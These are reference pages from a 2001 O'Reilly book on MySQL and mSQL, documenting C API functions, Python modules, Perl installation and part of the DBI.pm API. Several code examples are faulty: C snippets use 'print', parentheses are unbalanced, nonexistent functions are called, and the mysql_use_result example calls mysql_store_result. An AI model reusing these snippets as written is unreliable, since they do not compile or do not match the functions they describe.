Returns the error number of the last error associated with the current connection. If there have been no errors in the connection, the function returns zero.

Example

error = mysql_errno(&mysql);
printf("The last error was number %d\n", error);
mysql_error
char *mysql_error(MYSQL *mysql)

Returns the error message of the last error associated with the current connection. If there have been no errors in the connection, the function returns an empty string.

Example

printf("The last error was '%s'\n", mysql_error(&mysql));
mysql_escape_string
unsigned int mysql_escape_string(char *to, const char *from, unsigned int length)
unsigned int mysql_escape_string(char *to, const char *from)

Encodes a string so that it is safe to insert it into a MySQL table. The first argument is the receiving string, which must be at least one character greater than twice the length of the second argument, the original string. (That is, to >= from*2+1.) If a third argument is present, only that many bytes are copied from the originating string before encoding it. The function returns the number of bytes in the encoded string, not including the terminating null character.

Example

char name[15] = "Bob Marley's";
char enc_name[31];
mysql_escape_string(enc_name, name);
/* enc_name will now contain "Bob Marley\'s" (the single quote is escaped).
mysql_fetch_field
MYSQL_FIELD *mysql_fetch_field(MYSQL_RES *result)

Returns a MYSQL_FIELD structure describing the current field of the given result set. Repeated calls to this function will return information about each field in the result set until there are no more fields left, and then it will return a null value.

Example

MYSQL_FIELD *field;

while((field = mysql_fetch_field(results)))
{
    /* You can examine the field information here */
}
mysql_fetch_field_direct
MYSQL_FIELD * mysql_fetch_field_direct(MYSQL_RES * result, unsigned int fieldnr)

This function is the same as mysql_fetch_field, except that you specify which field you wish to examine, instead of cycling through them. The first field in a result set is 0.

Example

MYSQL_FIELD *field;

/* Retrieve the third field in the result set for examination */
field = mysql_fetch_field_direct(results, 2);
mysql_fetch_fields
MYSQL_FIELD *mysql_fetch_fields(MYSQL_RES * result)

The function is the same as mysql_fetch_field, except that it returns an array of MYSQL_FIELD structures containing the information for every field in the result set.

Example

MYSQL_FIELD *field;
MYSQL_FIELD *fields;

/* Retrieve all the field information for the results */
fields = mysql_fetch_fields(results);
/* Assign the third field to 'field' */
field = fields[2];
mysql_fetch_lengths
unsigned long *mysql_fetch_lengths(MYSQL_RES *result)

Returns an array of the lengths of each field in the current row. A null value is returned in the case of an error. You must have fetch at least one row (with mysql_fetch_row) before you can call this function. This function is the only way to determine the lengths of variable length fields, such as BLOB and VARCHAR, before you use the data.

Example

unsigned long *lengths;

row = mysql_fetch_row(results);
lengths = mysql_fetch_lengths(results);
printf("The third field is %d bytes long\n", lengths[2]);
mysql_fetch_row
MYSQL_ROW mysql_fetch_row(MYSQL_RES *result)

Retrieves the next row of the result and returns it as a MYSQL_ROW structure. A null value is returned if there are no more rows or there is an error. In the current implementation, the MYSQL_ROW structure is an array of character strings that can be used to represent any data.

Example

MYSQL_ROW row;

row = mysql_fetch_row(results);
printf("The data in the third field of this row is: %s\n", row[2]);
mysql_field_seek
MYSQL_FIELD_OFFSET mysql_field_seek(MYSQL_RES *result, MYSQL_FIELD_OFFSET offset)

Seeks to the given field of the current row of the result set. The position set by this function is used when mysql_fetch_field is called. The MYSQL_FIELD_OFFSET value passed should be the return value of a mysql_field_tell call (or another mysql_field_seek). Using the value will seek to the beginning of the row. The return value is the position of the cursor before the function was called.

Example

MYSQL_FIELD field;

/* Seek back to the beginning of the row */
old_pos = mysql_field_seek(results, 0);
/* Fetch the first field of the row */
field = mysql_field_field(results);
/* Go back to where you where */
mysql_field_seek(results, old_pos);
mysql_field_tell
MYSQL_FIELD_OFFSET mysql_field_tell(MYSQL_RES *result)

Returns the value of the current field position within the current row of the result set. This value is used with mysql_field_seek.

Example

MYSQL_FIELD field1, field2, field3;

/* Record my current position */
old_pos = mysql_field_tell(results);
/* Fetch three more fields */
field1 = mysql_field_field(results);
field2 = mysql_field_field(results);
field3 = mysql_field_field(results);
/* Go back to where you where */
mysql_field_seek(results, old_pos);
mysql_free_result
void mysql_free_result(MYSQL_RES *result)

Frees the memory associated with a MYSQL_RES structure. This must be called whenever you are finished using this type of structure or else memory problems will occur.

Example

MYSQL_RES *results;
/* Do work with results */
mysql_free_result(results);
mysql_get_client_info
char *mysql_get_client_info(void)

Returns a string with the MySQL library version used by the client program.

Example

printf("This program uses MySQL client library version %s\n",
       mysql_get_client_info()));
mysql_get_host_info
char *mysql_get_host_info(MYSQL *mysql)

Returns a string with the hostname of the MySQL database server and the type of connection used (e.g., Unix socket or TCP).

Example

printf("Connection info: %s", mysql_get_host_info(&mysql));
mysql_get_proto_info
unsigned int mysql_get_proto_info(MYSQL *mysql)

Returns the MySQL protocol version used in the current connection as an integer.

Example

printf("This connection is using MySQL connection protocol ver. %d\n",
        mysql_get_proto_info());
mysql_get_server_info
char *mysql_get_server_info(MYSQL *mysql)

Returns a string with the version number of the MySQL database server used by the current connection.

Example

printf("You are currently connection to MySQL server version %s\n",
        mysql_get_server_info(&mysql);
mysql_info
char *mysql_info(MYSQL *mysql)

Returns a string containing information about the most recent query, if the query was of a certain type. Currently, the following SQL queries supply extra information via this function: INSERT INTO (when used with a SELECT clause); LOAD DATA INFILE; ALTER TABLE; INSERT INTO TABLE (when used with multiple records). If the last query had no additional information (e.g., it was not one of the above queries), this function returns a null value.

Example

/* We just sent LOAD DATA INFILE query reading a set of record from a file into
   an existing table */
printf("Results of data load: %s\n", mysql_info(&mysql));
mysql_init
MYSQL *mysql_init(MYSQL *mysql)

Initializes a MYSQL structure used to create a connection to a MySQL database server. This, along with mysql_real_connect, is currently the approved way to initialize a server connection. You pass this function a MYSQL structure that you declared, or a null pointer, in which case a MYSQL structure will be created and returned. Structures created by this function will be properly freed when mysql_close is called. A null value is returned if there is not enough memory to initialize the structure.

Example

MYSQL mysql;

if (!mysql_init(&mysql)) {
            printf("Error initializing MySQL client\n");
            exit(1);
}
mysql_insert_id
my_ulonglong mysql_insert_id(MYSQL *mysql)

Returns the last number generated for an AUTO_INCREMENT field. This function is usually used immediately after a value is inserted into an AUTO_INCREMENT field, to determine the value that was inserted.

Example

/* We just inserted an employee record with automatically generated ID into
   a table */
id = mysql_insert_id(&mysql);
printf("The new employee has ID %d\n", id);
mysql_kill
int mysql_kill(MYSQL *mysql, unsigned long pid)

Attempts to kill the MySQL server thread with the specified Process ID. This function returns zero if the operation was successful and nonzero on failure. You must have Process privileges in the current connection to use this function.

Example

/* Kill thread 4 */
result = mysql_kill(&mysql, 4);
mysql_list_dbs
MYSQL_RES *mysql_list_dbs(MYSQL *mysql, const char *wild)

Returns a MYSQL_RES structure containing the names of all existing databases that match the pattern given by the second argument. This argument may be any standard SQL regular expression. If a null pointer is passed instead, all databases are listed. Like all MYSQL_RES structures, the return value of this function must be freed with mysql_free_result. This function returns a null value in the case of an error.

Example

MYSQL_RES databases;
databases = mysql_list_dbs(&mysql, (char *)NULL);
/* 'databases' now contains the names of all of the databases in the
   MySQL server */
mysql_list_fields
MYSQL_RES *mysql_list_fields(MYSQL *mysql, const char *table, const char *wild)

Returns a MYSQL_RES structure containing the names of all existing fields in the given table that match the pattern given by the third argument. This argument may be any standard SQL regular expression. If a null pointer is passed instead, all fields are listed. Like all MYSQL_RES structures, the return value of this function must be freed with mysql_free_result . This function returns a null value in the case of an error.

Example

MYSQL_RES fields;
fields = mysql_list_fields(&mysql, "people", "address%");
/* 'fields' now contains the names of all fields in the 'people' table
    that start with 'address' */
mysql_list_processes
MYSQL_RES *mysql_list_processes(MYSQL *mysql)

Returns a MYSQL_RES structure containing the information on all of the threads currently running on the MySQL database server. This information contained here can be used with mysql_kill to remove faulty threads. Like all MYSQL_RES structures, the return value of this function must be freed with mysql_free_result. This function returns a null value in the case of an error.

Example

MYSQL_RES threads;
threads = mysql_list_processes(&mysql);
mysql_list_tables
MYSQL_RES *mysql_list_tables(MYSQL *mysql, const char *wild)

Returns a MYSQL_RES structure containing the names of all existing tables in the current database that match the pattern given by the second argument. This argument may be any standard SQL regular expression. If a null pointer is passed instead, all tables are listed. Like all MYSQL_RES structures, the return value of this function must be freed with mysql_free_result. This function returns a null value in the case of an error.

Example

MYSQL_RES tables;
tables = mysql_list_tables(&mysql, "p%");
/* 'tables' now contains the names of all tables in the current database
    that start with 'p' */
mysql_num_fields
unsigned int mysql_num_fields(MYSQL_RES *result)

Returns the number of fields contained in each row of the given result set.

Example

num_fields = mysql_num_fields(results);
printf("There are %d fields in each row\n", num_fields);
mysql_num_rows
int mysql_num_rows(MYSQL_RES *result)

Returns the number of rows of data in the result set. This function is only accurate if the result set was retrieved with mysql_store_result. If mysql_use_result was used, the value returned by this function will be the number of rows accessed so far.

Example

num_rows = mysql_num_rows(results);
printf("There were %d rows returned\n", num_rows);
mysql_ping
int mysql_ping(MYSQL *mysql)

Checks to see if the connection to the MySQL server is still alive. If it is not, the client will attempt to reconnect automatically. This function returns zero if the connection is alive and nonzero in the case of an error.

Example

while(mysql_ping(&mysql)) printf("Error, attempting reconnection...\n");
mysql_query
int mysql_query(MYSQL *mysql, const char *query)

Executes the SQL query given in the second argument. If the query contains any binary data (particularly the null character), this function cannot be used and mysql_real_query should be used instead. The function returns zero if the query was successful and nonzero in the case of an error.

Example

error = mysql_query(&mysql, "SELECT * FROM people WHERE name like 'Bill%'");
if (error) {
     printf("Error with query!\n");
     exit(1);
}
mysql_real_connect
MYSQL *mysql_real_connect(MYSQL *mysql, const char *host, const char *user,
const char *passwd, const char *db, uint port, const char *unix_socket,
uint client_flag)

Creates a connection with a MySQL database server. There are eight arguments to this function:

  • An initialized MYSQL structure, created with mysql_init.

  • The hostname or IP address of the MySQL database server (use an empty string or localhost to connect to the local MySQL server over a Unix socket).

  • The username used to connect to the database server (an empty string may be used assuming the Unix login name of the person running the client).

  • The password used to authenticate the given user. If an empty string is used, only users with no passwords are checked for authentication.

  • The initial database selected when you connect (an empty string may be used to not initially choose a database).

  • The port used to remotely connect to a MySQL database server over TCP (0 may be used to accept the default port).

  • The filename of the Unix socket used to connect to a MySQL server on the local machine (an empty string may be used to accept the default socket).

  • Zero or more of a set of flags used under special circumstances:

    CLIENT_FOUND_ROWS

    When using queries that change tables, returns the number of rows found in the table, not the number of rows affected.

    CLIENT_NO_SCHEMA

    Prevent the client from using the full database.table.column form to specify a column from any database.

    CLIENT_COMPRESS

    Use compression when communicating with the server.

    CLIENT_ODBC

    Tell the server the client is an ODBC connection.

Example

/* Connect to the server on the local host with standard options. */
if (! mysql_real_connect(&mysql, "localhost", "bob", "mypass", "", 0, "", 0))
{ print "Error connecting!\n";
  exit(1);
}
mysql_real_query
int mysql_real_query(MYSQL *mysql, const char *query, unsigned int length)

Executes the SQL query given in the second argument. The length of the query must be given in the third argument. By supplying the length, you can use binary data, including null characters, in the query. This function is also faster than mysql_query. The function returns zero if the query was successful and nonzero in the case of an error.

Example

error = mysql_real_query(&mysql, "SELECT * FROM people WHERE name like 'Bill%'",
        44);
if (error) {
     printf("Error with query!\n");
     exit(1);
}
mysql_reload
int mysql_reload(MYSQL *mysql)

Reloads the permission tables on the MySQL database server. You must have Reload permissions on the current connection to use this function. If the operation is successful, zero is returned otherwise a nonzero value is returned.

Example

result = mysql_reload(&mysql);
mysql_row_tell
unsigned int mysql_row_tell(MYSQL_RES *result)

Returns the value of the cursor used as mysql_fetch_row reads the rows of a result set. The return value of this function can used with mysql_row_seek to jump to a specific row in the result set.

Example

saved_pos = mysql_row_tell(results);
/* I can now jump back to this row at any time */
mysql_select_db
int mysql_select_db(MYSQL *mysql, const char *db)

Changes the current database. The user must have permission to access the new database. The function returns zero if the operation was successful and nonzero in the case of an error.

Example

result = mysql_select_db(&mysql, "newdb");
mysql_shutdown
int mysql_shutdown(MYSQL *mysql)

Shutdown the MySQL database server. The user must have Shutdown privileges on the current connection to use this function. The function returns zero if the operation was successful and nonzero in the case of an error.

Example

result = mysql_shutdown(&mysql);
mysql_stat
char *mysql_stat(MYSQL *mysql)

Returns information about the current operating status of the database server. This includes the uptime, the number of running threads, and the number of queries being processed, among other information.

Example

printf("Server info\n-----------\n%s\n", mysql_stat(&mysql));
mysql_store_result
MYSQL_RES *mysql_store_result(MYSQL *mysql)

Reads the entire result of a query and stores in a MYSQL_RES structure. Either this function or mysql_use_result must be called to access return information from a query. You must call mysql_free_result to free the MYSQL_RES structure when you are done with it. The function returns a null value in the case of an error.

Example

MYSQL_RES results;
mysql_query(&mysql, "SELECT * FROM people");
results = mysql_store_result(&mysql);
/* 'results' now contains all of the information from the 'people' table */
mysql_thread_id
unsigned long mysql_thread_id(MYSQL * mysql)

Returns the thread ID of the current connection. This value can be used with mysql_kill to terminate the thread in case of an error.

Example

thread_id = mysql_thread_id(&mysql);
mysql_use_result
MYSQL_RES *mysql_use_result(MYSQL *mysql)

Reads the result of a query row by row and allows access to the data through a MYSQL_RES structure. Either this function or mysql_use_result must be called to access return information from a query. Because this function does not read the entire data set at once, it is faster and more memory efficient than mysql_store_result. However, when using this function you must read all of the rows of the dataset from the server or else the next query will receive the left over data. Also, you can not run any other queries until you are done with the data in this query. You must call mysql_free_result to free the MYSQL_RES structure when you are done with it. The function returns a null value in the case of an error.

Example

MYSQL_RES results;
mysql_query(&mysql, "SELECT * FROM people");
results = mysql_store_result(&mysql);
/* 'results' will now allow access (using mysql_fetch_row) to the table
   data, one row at a time */

Previous | Home | Next
18.2. Lite | Book Index | 19.2. mSQL C API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL C API (MySQL & mSQL)

 MySQL and mSQLSearch this book

19.2. mSQL C API

The mSQL C API has remained relatively stable between mSQL Versions 1 and 2. However, several new functions have been added, and there have been a few changes in the existing function. Wherever a function or feature can only be used with mSQL 2, it is noted.

19.2.1. Datatypes

The mSQL C API uses a few defined datatypes beyond the standard C types. These types are defined in the `msql.h' header file that must be included when compiling any program that uses the MySQL library.

m_result

A structure containing the results of a SELECT (or SHOW) statement. The actual output of the query must be accessed through m_row elements of this structure.

m_row

A single row of data returned from a SELECT query. Output of all mSQL datatypes are stored in this type (as an array of character strings).

m_field

A structure containing all of the information concerning a specific field in the table. The elements of the m_field structure can be directly examined and are as follows:

char *name

The name of the field.

char *table

The name of the table containing the field. This is a null value if the result set does not correspond to a real table.

int type

The type of the field. This is an integer corresponding to the mSQL SQL datatypes defined in the msql.h header file.

int length

The byte length of the field.

int flags

Zero or more option flags. The flags are accessed through the following macros:

IS_PRI_KEY(flags)

Returns true if the field is a primary key.

IS_NOT_NULL(flags)

Returns true if the field is defined as NOT NULL.

msqlConnect
int msqlConnect ( char *host )

Creates a connection to the mSQL server whose hostname or IP address is given. If a null value is passed as the argument, the connection is made to the mSQL server on the local host using Unix sockets. The return value is a database handle used to communicate with the database server. In the case of an error, -1 is returned.

Example

/* Create a connection to the database server on the local host */
dbh = msqlConnect( (char *)NULL );
if (dbh == -1) {
   print "Error connecting!\n";
   exit(1);
}
msqlSelectDB
int msqlSelectDB ( int sock , char *dbName )

Chooses a database for the specified connection. A database must be chosen before any queries are sent to the database server. In the case of an error, -1 is returned.

Example

/* Select the "mydatabase" database */
result = msqlSelectDB( dbh, "mydatabase" );
if (result == -1) {
   print "Error selecting database!\n";
   exit(1);
}
msqlQuery
int msqlQuery( int sock , char *query )

Executes the given SQL query. In mSQL 2, the return value is the number of rows affected by the query (or selected by a SELECT query). In mSQL 1, zero is returned upon success. In both versions, in the case of an error, -1 is returned.

Example

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
msqlStoreResult
m_result *msqlStoreResult()

Stores the result of a SELECT query. This function is called immediately after calling msqlQuery with an SQL SELECT query. The results of the query are then stored in the m_result structure. Only after this function has been called, can other queries be sent to the database server. Every m_result structure must be freed using msqlFreeResult when you are finished with it.

Example

m_result *results;

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();
/* Other queries may now be submitted and the data from this query can be
   accessed through 'results' */
msqlFreeResult
void msqlFreeResult ( m_result *result )

Frees the memory associated with an m_result structure.

Example

m_result *results;

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();

/* Do work */

msqlFreeResult(results);
msqlFetchRow
m_row msqlFetchRow ( m_result *result )

Retrieves a single row of data from a result set. This data is placed in an m_row structure, which is an array of character strings. With each successive call to msqlFetchRow, another row is returned until there are no more rows left, then a null value is returned.

Example

m_result *results;
m_row *row;

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();
row = msqlFetchRow(results);
printf("The third field of the first row of the table is: %s\n", row[2]);
msqlDataSeek
void msqlDataSeek ( m_result *result, int pos )

Sets the cursor that tells msqlFetchRow which row to fetch next. Setting a position of will move the cursor to the beginning of the data. Setting the cursor to a position past the last row of data will place the cursor at the end of the data.

Example

m_result *results;
m_row *row;

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();
row = msqlFetchRow(results);
/* Now go back to the beginning */
msqlDataSeek(results, 0);
msqlNumRows
int msqlNumRows ( m_result *result )

Returns the number of rows in the result set.

Example

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();
rows = msqlNumRows(results);
msqlFetchField
m_field *msqlFetchField ( m_result *result )

Returns the information about the fields in the result set. Each successive call to msqlFetchField will return a m_field structure for the next field until there are no more fields left, then a null value will be returned.

Example

m_field *field;

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();
field = msqlFetchField(results);
/* 'field' now contains information about the first field in the result set */
field = msqlFetchField(results);
/* 'field' now contains information about the second field in the result set */
msqlFieldSeek
void msqlFieldSeek ( m_result *result , int pos )

Sets the cursor that tells msqlFetchField which field to fetch next. Setting a position of will move the cursor to the beginning of the fields. Setting the cursor to a position past the last field places the cursor just past the last field.

Example

m_result *results;
m_field *field;

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();
field = msqlFetchField(results);
/* Now go back to the beginning */
msqlFieldSeek(results, 0);
msqlNumFields
int msqlNumFields ( m_result *result )

Returns the number of fields in the result set.

Example

rows_returned = msqlQuery( dbh, "SELECT * FROM people" );
results = msqlStoreResult();
fields = msqlNumFields(results);
msqlClose
int msqlClose ( int sock )

Closes the connection to the mSQL database server.

Example

dbh = msqlConnect( (char *)NULL );
/* Do work */
msqlClose(dbh);
msqlListDBs
m_result *msqlListDBs ( int sock )

Returns an m_result structure containing the names of all of the databases available in the database server. Like all m_result structures, the return value of this function must be freed with msqlFreeResult when you are done with it.

Example

databases = msqlListDBs(dbh);
/* 'databases' now contains the names of all of the databases on the server */
msqlListTables
m_result *msqlListTables ( int sock )

Returns an m_result structure containing the names of all of the tables in the current database. Like all m_result structures, the return value of this function must be freed with msqlFreeResult when you are done with it.

Example

tables = msqlListTables(dbh);
/* 'tables' now contains the names of all of the tables in the
    current database */
msqlListFields
m_result *msqlListFields ( int sock , char *tableName )

Returns an m_result structure containing the names of all of the fields in the given table. Like all m_result structures, the return value of this function must be freed with msqlFreeResult when you are done with it.

Example

fields = msqlListFields(dbh, "people");
/* 'fields' now contains the names of all of the fields in the
    'people' table */
msqlListIndex
m_result *msqlListIndex ( int sock , char *tableName , char *index )

Returns an m_result structure containing information about the given index. The returned result set will contain the type of index (currently, `avl' is the only supported type), and the names of the fields contained in the index. Like all m_result structures, the return value of this function must be freed with msqlFreeResult when you are done with it.

Example

index = msqlListIndex(dbh, "people", "idx1");
/* 'index' now contains the information about the 'idx1' index in the 'people'
   table */
Previous | Home | Next
19. C Reference | Book Index | 20. Python Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Python Reference (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 20. Python Reference

Contents:

Module: MySQL
Module: mSQL

There are actually a handful of Python modules running around that support database access against MySQL and mSQL. They are very similar in most respects. This chapter provides the API specification for two common modules. It is, however, important to note an approaching unification of Python database APIs under a single API being specified by the Python Database SIG. mSQL currently has no support for this API.

20.1. Module: MySQL

The entry point into the MySQL module is via the MySQL.connect() method. The return value from this method represents a connection to a MySQL database that you can use for all of your MySQL operations.

Method: MySQL.connect( )

Signature

connection = MySQL.connect(host)

Synopsis

Connects to the MySQL database engine on the specified server. If you call connect() with no arguments, it will connect you to the MySQL database engine on the local machine. It returns a Python object representing a connection to a MySQL database.

Example

conn = MySQL.connect(`carthage.imaginary.com');
Method: connection.selectdb( )

Signature

connection.selectdb(database)

Synopsis

Selects the database against which you intend to operate.

Example

connection.selectdb(`test');
Method: connection.do( )

Signature

results = connection.do(sql)

Synopsis

Sends the specified SQL statement to the currently selected database for execution. The results are returned as a list of lists where each list represents a single row. The method is also used for updates -- you just do not process the return value.

Example

results = conn.do(`SELECT title, year FROM movies');
row1 = results[0];
Method: connection.query( )

Signature

statement_handle = connection.query(sql)

Synopsis

Like the do() method, this method sends the specified SQL statement to the currently selected database. Unlike the do() method, this method returns a statement handler object that encapsulates data about the results of the SQL query as well as the results themselves.

Example

hndl = conn.query(`SELECT title, year FROM movies');
Method: statement_handle.affectedrows( )

Signature

rowcount = statement_handle.affectedrows()

Synopsis

Assuming the results of the SQL represented by this statement handler came from an UPDATE, DELETE, or INSERT, this method returns the number of rows actually modified by that statement.

Example

rowcount = hndl.affectedrows()
Method: statement_handle.numrows( )

Signature

rowcount = statement_handle.numrows()

Synopsis

Assuming the results of the SQL represented by this statement handler came from a SELECT, this method provides the number of rows in the result set.

Example

rowcount = hndl.numrows()
Method: statement_handle.fields( )

Signature

list = statement_handle.fields()

Synopsis

Provides meta-information about the columns in the results returned by this query. The list is actually a list of lists. Each member of the returned list is a list of meta-information about a specific column. In other words, the returned list will have one member for each column in the result set. The first member of the list represents the first column, the second member the second column, and so on.

The meta-data for each column is a list of five elements:

  • A string containing the column name

  • A string containing the name of the table from which the column came

  • A string with the name of the SQL datatype for the column

  • An int containing the size of the column

  • A string containing the column modifies such as NOTNULL

Example

flds = hndl.fields();
for column in flds:
name = column[0];
table = column[1];
type = column[2];
size = columns[3];
mods = column[4];
Method: statement_handle.fetchrows( )

Signature

list = statement_handle.fetchrows(rownum)

Synopsis

Fetches the row values of the specified row number associated with the result set represented by the statement handler. If you pass -1 as an argument, this method will return a list of all the rows. For each row in the list, a row is represented by a list whose number of elements equals the number of columns in the result set. The first element represents the first column value, the second element the second column, and so on.

Example

rows = hndl.fetchrows(-1);
for row in rows:
    col1 = row[0];
    col2 = row[1];
Method: connection.listdbs( )

Signature

dbs = connection.listdbs()

Synopsis

Provides a Python list of databases available on the database server.

Example

dbs = conn.listdbs()
Method: connection.listtables( )

Signature

tables = connection.listtables();

Synopsis

Provides a Python list of tables stored in the selected database.

Example

tables = conn.listtables();

Previous | Home | Next
19.2. mSQL C API | Book Index | 20.2. Module: mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module: mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

20.2. Module: mSQL

The mSQL module is very similar to the MySQL one. The entry point into the module is via the mSQL.connect() method. The return value from this method represents a connection to an mSQL database that you can use for all of your mSQL operations.

Method: mSQL.connect( )

Signature

connection = mSQL.connect()
connection = mSQL.connect(host)

Synopsis

Connects to the mSQL database engine on the specified server. If you call connect with no arguments, the method connects to the database engine on the local machine. It returns an mSQL connection handle that you can use for database access.

Example

connection = mSQL.connect(`carthage.imaginary.com')
Method: connection.selectdb( )

Signature

connection.selectdb(database)

Synopsis

Selects the name of the database for your connection to use. Any further operations on that connection will work against that database unless you later select a new database.

Example

connection.selectdb(`test');
Method: connection.query( )

Signature

results = connection.query(sql)

Synopsis

Sends the specified SQL statement to the currently selected database for execution. The results are returned as a list of tuples, where each tuple represents a row. This method is also used for updates -- you just do not process the return value.

Example

results = conn.query(`SELECT title, year FROM movies');
row1 = results[0];
Method: connection.listdbs( )

Signature

dbs = connection.listdbs()

Synopsis

Provides a Python list of databases available on the server.

Example

dbs = conn.listdbs()
Method: connection.listtables( )

Signature

connection.listtables()

Synopsis

Provides a Python list of tables stored in the selected database.

Example

tables = conn.listtables()
Attribute: connection.serverinfo

Synopsis

Returns the version number of the mSQL instance to which you are currently connected.

Example

info = connection.serverinfo;
Attribute: connection.hostname

Synopsis

Returns the name of the server on which the mSQL instance is running.

Example

host = connection.hostname

Previous | Home | Next
20. Python Reference | Book Index | 21. Perl Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl Reference (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 21. Perl Reference

Contents:

Installation
DBI.pm API
Msql.pm API
Mysql.pm API

21.1. Installation

To use the mSQL and MySQL interfaces to DataBase Dependent/DataBase Independent (DBI/DBD) or to the MsqlPerl and MysqlPerl modules, you must have the following:

Perl 5

You must have a working copy of Perl 5 on your system. At the time of this writing, the newest release of Perl was 5.005_02. You should have at least Perl 5.004 since earlier versions of Perl contained security related bugs. For more information about Perl, including download sites, see http://www.perl.com.

DBI

The DataBase Independent portion of the DBI/DBD module can be downloaded from the Comprehensive Perl Archive Network (CPAN). At the time of this writing, the most recent version is DBI-0.90. You can find it at http://www.perl.com/CPAN/modules/by-authors/id/Tim_Bunce/.

Data::ShowTable

Data::ShowTable is a module that simplifies the act of displaying large amounts of data. The Msql-Mysql modules require this. The most recent version is Data-ShowTable-3.3 and it can be found at http://www.perl.com/CPAN/authors/id/AKSTE/Data-ShowTable-3.3.tar.gz.

mSQL and/or MySQL

Chapter 3, "Installation", contains information about how to obtain and install the mSQL and MySQL database servers.

C compiler and related tools

The MsqlPerl and MysqlPerl modules require an ANSI compliant C compiler as well some common related tools (such as make, ld, etc.). The tools that built the copy of Perl you are using should be sufficient. If you have no such tools, the GNU C compiler (along with all necessary supporting programs) is available free at ftp://ftp.gnu.org/pub/gnu/.

The current maintainer of the Msql-Mysql modules is Jochen Wiedmann, who has the CPAN author ID of JWIED. Therefore, the current release of the Msql-Mysql modules can always be found at http://www.perl.com/authors/id/JWIED. At the time of this writing, the current version is Msql-Mysql-modules-1.2017.tar.gz.

After you have downloaded the package, uncompress and untar it into a directory.

tar xvzf Msql-Mysql-modules-1.2017.tar.gz
cd Msql-Mysql-modules-1.2017

Inside the distribution directory is the file INSTALL, which gives several installation hints. The first step is to execute the Makefile.PL file:

perl Makefile.PL

This command starts by asking whether you want to install the modules for mSQL, MySQL or both. You can install the modules for whichever database server that you have installed.

After some system checking, the program then asks for the location of your mSQL installation. This is the directory that contains the lib and include subdirectories that have the mSQL library and include files. By default it is /usr/local/Hughes, but be sure to double check this, as many systems use /usr/local or even /usr/local/Minerva.

Next the installation script asks for the location of MySQL. As with mSQL, this is the directory that contains the appropriate lib and include subdirectories. By default it is /usr/local. This is the correct location for most installations, but you should double check in case it is located elsewhere.

At this point, the installation script creates the appropriate makefiles and exits. The next step is to run make to compile the files.

make

If your Perl, mSQL, and/or MySQL are all installed correctly, the make should run without errors. When it is finished, all of the modules have been created and all that is left is to test and install them.

make test

While this is running, a series of test names will scroll down your screen. All of them should end with . . . ok. Finally, you need to install the modules.

make install

You need to have permission to write to the Perl installation directory to install the modules. In addition, you need to have permission to write to your system binary directory (usually /usr/local/bin or /usr/bin) to install the supporting programs that come with the module (pmsql, pmysql, and dbimon).

Previous | Home | Next
20.2. Module: mSQL | Book Index | 21.2. DBI.pm API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBI.pm API (MySQL & mSQL)

 MySQL and mSQLSearch this book

21.2. DBI.pm API

The DBI API is the standard database API in Perl. So while MsqPerl and MysqlPerl may be more common in legacy code, all new code should be written with DBI.

use
use DBI;
    This must be declared in every Perl program that uses the DBI module.
DBI::available_drivers
@available_drivers = DBI->available_drivers;
@available_drivers = DBI->available_drivers($quiet);

DBI::available_drivers returns a list of the available DBD drivers. The function does this by searching the Perl distribution for DBD modules. Unless a true value is passed as the argument, the function will print a warning if two DBD modules of the same name are found in the distribution. In the current Msql-Mysql modules distribution, the driver for mSQL is named `mSQL' and the driver for MySQL is named `mysql'.

Example

use DBI;

my @drivers = DBI->available_drivers;
print "All of these drivers are available:\n" . join("\n",@drivers) .
                "\nBut we're only interested in mSQL and mysql. :)\n";
DBI::bind_col
$result = $statement_handle->bind_col($col_num, \$col_variable, \%unused);

DBI::bind_col binds a column of a SELECT statement with a Perl variable. Every time that column is accessed or modified, the value of the corresponding variable changes to match. The first argument is the number of the column in the statement, where the first column is number 1. The second argument is a reference to the Perl variable to bind to the column. The optional third argument is a reference to a hash of attributes. This is unused in DBD::mysql and DBD::mSQL. The function returns an undefined value undef if the binding fails for some reason.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT name, date FROM myothertable";
my $myothertable_output = $db->prepare($query);

my ($name, $date);
$myothertable_output->bind_col(1,\$name,undef);
$myothertable_output->bind_col(2,\$date,undef);
# $name and $date are now bound to their corresponding fields in the outout.

$myothertable_output->execute;
while ($myothertable_output->fetch) {
       # $name and $date are automatically changed each time.
                print "Name: $name Date: $date\n";
}
DBI::bind_columns
$result = $statement_handle->bind_columns(\%unused, @list_of_refs_to_vars);

DBI::bind_columns binds an entire list of scalar references to the corresponding field values in the output. The first argument to the function is a reference to a hash of attributes, as in DBI::bind_col. DBD::mSQL and DBD::mysql do not use this argument. Each following argument must be a reference to a scalar. Optionally, the scalars can be grouped into a \($var1, $var2) structure which has the same effect. There must be exactly as many scalar references as there are fields in the output or the program will die.

Example

use DBI;
my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);
my $query = "SELECT name, date FROM myothertable";
my $myothertable_output = $db->prepare($query);

my ($name, $date);
$myothertable_output->bind_columns(undef, \($name, $date));
# $name and $date are now bound to their corresponding fields in the outout.

$myothertable_output->execute;
while ($myothertable_output->fetch) {
       # $name and $date are automatically changed each time.
                print "Name: $name Date: $date\n";
}
DBI::bind_param
$result = $statement_handle->bind_param($param_number, $bind_value);
$result = $statement_handle->bind_param($param_number, $bind_value, $bind_type);
$result = $statement_handle->bind_param($param_number, $bind_value, \%bind_type);

